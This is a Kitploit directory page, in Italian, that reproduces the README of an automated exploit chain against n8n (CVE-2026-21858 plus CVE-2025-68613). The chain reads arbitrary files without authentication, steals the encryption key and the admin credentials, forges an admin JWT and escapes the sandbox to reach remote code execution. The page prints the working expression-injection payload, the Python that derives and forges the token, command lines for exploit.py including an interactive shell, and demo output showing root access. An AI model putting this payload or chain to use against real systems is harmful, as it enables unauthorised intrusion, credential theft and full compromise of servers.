Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-21858 — Automated exploit chain per n8n che consente lettura arbitraria di file non autenticata, falsificazione del token admin e bypass della sandbox fino all'esecuzione remota di codice tramite injection di espressioni. | Kitploit
Strumenti/GitHubGitHub/kaleth4/cve-2026-21858
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingAutenticazioneRed TeamingSviluppo Payload
GitHubkaleth4/cve-2026-21858

CVE-2026-21858

Automated exploit chain per n8n che consente lettura arbitraria di file non autenticata, falsificazione del token admin e bypass della sandbox fino all'esecuzione remota di codice tramite injection di espressioni.

Vedi Repository
246 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-21858 + CVE-2025-68613 - Catena completa n8n

Lettura arbitraria di file non autenticata → Forgiatura token admin → Bypass sandbox → RCE

Catena RCE completa non autenticata su n8n:

  1. CVE-2026-21858 - Confusione Content-Type → Lettura arbitraria di file
  2. Lettura config + database → forgiatura JWT admin
  3. CVE-2025-68613 - Iniezione di espressioni → bypass sandbox → RCE

Rilevamento

L'esposizione è basata sulla versione. In termini di esposizione, esistono istanze n8n vulnerabili accessibili pubblicamente.

Risultati LeakIX: Visualizza istanze esposte

Perché Questo Exploit?

Questo exploit è stato sviluppato in modo indipendente dal write-up di Cyera (scoperto dopo il completamento). Differenze chiave:

Cyera (Ricerca Originale)Questo Exploit
Lettura FileCaricamento nella knowledge base AI → query tramite chatRisposta HTTP diretta
PrerequisitiWorkflow chat + integrazione AIQualsiasi modulo con upload file
Metodo RCENodo "Execute Command" (disabilitato di default)Iniezione di Espressioni (funziona su installazioni predefinite)
AutomazioneDemo manuale/concettualeScript Python completamente automatizzato

Entrambi gli approcci richiedono configurazioni specifiche del workflow. Cyera necessita di chat + integrazione AI, questo exploit necessita di un modulo con nodo Respond. Vedi Limitazioni per i dettagli.

Catena di Attacco

┌───────────────────────────────────────────────────────────┐
│                     NON AUTENTICATO                       │
├───────────────────────────────────────────────────────────┤
│  1. Lettura /proc/self/environ → Trova directory HOME     │
│  2. Lettura $HOME/.n8n/config → Ottieni encryptionKey     │
│  3. Lettura $HOME/.n8n/database.sqlite → Ottieni credenziali admin │
├───────────────────────────────────────────────────────────┤
│                      FORGIATURA TOKEN                     │
├───────────────────────────────────────────────────────────┤
│  4. Derivazione segreto JWT da encryptionKey              │
│  5. Forgiatura cookie sessione admin                      │
├───────────────────────────────────────────────────────────┤
│                    RCE AUTENTICATO                        │
├───────────────────────────────────────────────────────────┤
│  6. Creazione workflow con iniezione di espressioni       │
│  7. Bypass sandbox tramite this.process.mainModule.require│
│  8. Esecuzione comandi arbitrari                          │
└───────────────────────────────────────────────────────────┘

CVE-2026-21858 - Lettura Arbitraria di File tramite Confusione Content-Type

La Patch

commit c8d604d2c466dd84ec24f4f092183d86e43f2518
Author: mfsiega
Date:   Thu Nov 13 11:51:40 2025 +0100

    Merge commit from fork

Il leggendario "Merge commit from fork" - quando vedi questo, qualcuno ha trovato qualcosa di piccante. 🌶️

Causa Radice

// PRIMA (vulnerabile)
const files = (context.getBodyData().files as IDataObject) ?? {};
await context.nodeHelpers.copyBinaryFile(file.filepath, ...)

// DOPO (corretto)
a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');

Invia Content-Type: application/json → controlla filepath → leggi qualsiasi file.

CVE-2025-68613 - RCE tramite Iniezione di Espressioni

Perché Questo Bypass?

n8n isola il codice utente (Code Node, espressioni) usando vm2/isolated-vm. Altri vettori RCE:

TecnicaStato
Nodo Execute CommandDisabilitato di default (N8N_ALLOW_EXEC_COMMAND=false)
Nodi SSH/HTTPEsecuzione su server remoti, non sull'host n8n
Fuga Sandbox PyodideCVE-2025-68668 - richiede Python Code Node
Iniezione di EspressioniCVE-2025-68613 - funziona su installazioni predefinite

Ho usato l'Iniezione di Espressioni perché funziona su qualsiasi n8n con impostazioni predefinite - nessun nodo o configurazione speciale richiesta. Il bypass Pyodide (CVE-2025-68668) richiede il Python Code Node che potrebbe non essere disponibile su tutte le istanze.

Il Payload

={{ (function() { 
  var require = this.process.mainModule.require; 
  var execSync = require("child_process").execSync; 
  return execSync("id").toString(); 
})() }}

Le espressioni n8n hanno accesso a this.process.mainModule.require → fuga completa dalla sandbox.

Forgiatura Token

# Derivazione segreto JWT
jwt_secret = sha256(encryption_key[::2]).hexdigest()

# Hash JWT
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]

# Forgiatura token
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")

Configurazione Laboratorio

docker compose up -d
# Attendere ~60 secondi per la configurazione
# Modulo: http://localhost:32790/form/vulnerable-form
# Credenziali: [email protected] / ExploitLab123!

Utilizzo

# Lettura file arbitrario
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwd

# Catena completa con comando
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id"

# Shell interattiva
uv run python exploit.py http://localhost:5678 /form/vulnerable-form

Demo

╔═══════════════════════════════════════════════════════════════╗
║     CVE-2026-21858 + CVE-2025-68613 - Catena completa n8n     ║
║     Lettura File Arbitraria → Forgiatura Token → Bypass Sandbox → RCE ║
╚═══════════════════════════════════════════════════════════════╝

[*] Target: http://localhost:5678/form/vulnerable-form
[*] Versione: 1.65.0 (VULN)
[x] Directory HOME
[+] Directory HOME: /root
[x] Chiave di crittografia
[+] Chiave di crittografia: yusrXZV1...
[x] Database
[+] Database: 1327104 byte
[x] Utente admin
[+] Utente admin: [email protected]
[x] Forgiatura token
[+] Forgiatura token: OK
[x] Accesso admin
[+] Accesso admin: CONCESSO!
[+] Cookie: n8n-auth=eyJpZCI6IjljMWI5MzU0LTI5NzQtNGZlOS05OTc2LWVmZDM3ZWEyNWFlMiIsImhhc2giOiJGYzVQZjVkUDRxIn0.TrIjHV3_6pw6Syi4qme5larZeQElBJmo4Y_eSgL9_M0
[x] RCE
[+] RCE: OK

uid=0(root) gid=0(root) groups=0(root)

Limitazioni

Questo NON è un exploit "pwn qualsiasi n8n". Richiede condizioni specifiche per funzionare:

RequisitoDescrizione
Modulo con upload fileIl target deve avere un workflow modulo con campo upload file
Nodo Respond to WebhookIl workflow deve restituire il contenuto del file nella risposta HTTP
Workflow attivoIl workflow modulo deve essere attivato
Accesso non autenticatoIl modulo deve essere accessibile pubblicamente (senza autenticazione)

Esempio di configurazione workflow vulnerabile:

{
  "nodes": [
    {
      "name": "Form Trigger",
      "type": "n8n-nodes-base.formTrigger",
      "parameters": {
        "responseMode": "responseNode",
        "formFields": {
          "values": [{ "fieldLabel": "document", "fieldType": "file" }]
        }
      }
    },
    {
      "name": "Respond",
      "type": "n8n-nodes-base.respondToWebhook",
      "parameters": {
        "respondWith": "binary",
        "inputDataFieldName": "document"
      }
    }
  ],
  "connections": {
    "Form Trigger": { "main": [[{ "node": "Respond" }]] }
  }
}

Gli elementi chiave sono: fieldType: "file" + respondWith: "binary". Questo pattern è comune nei workflow di elaborazione file (convertitori, ridimensionatori di immagini, processori di documenti).

Funziona:

  • Moduli con nodo Respond che restituiscono binario (convertitori file, processori)
  • Installazioni n8n predefinite (Iniezione di Espressioni non bloccata)
  • Deployment locali/Docker (database + config memorizzati su disco)
Scarica lo strumento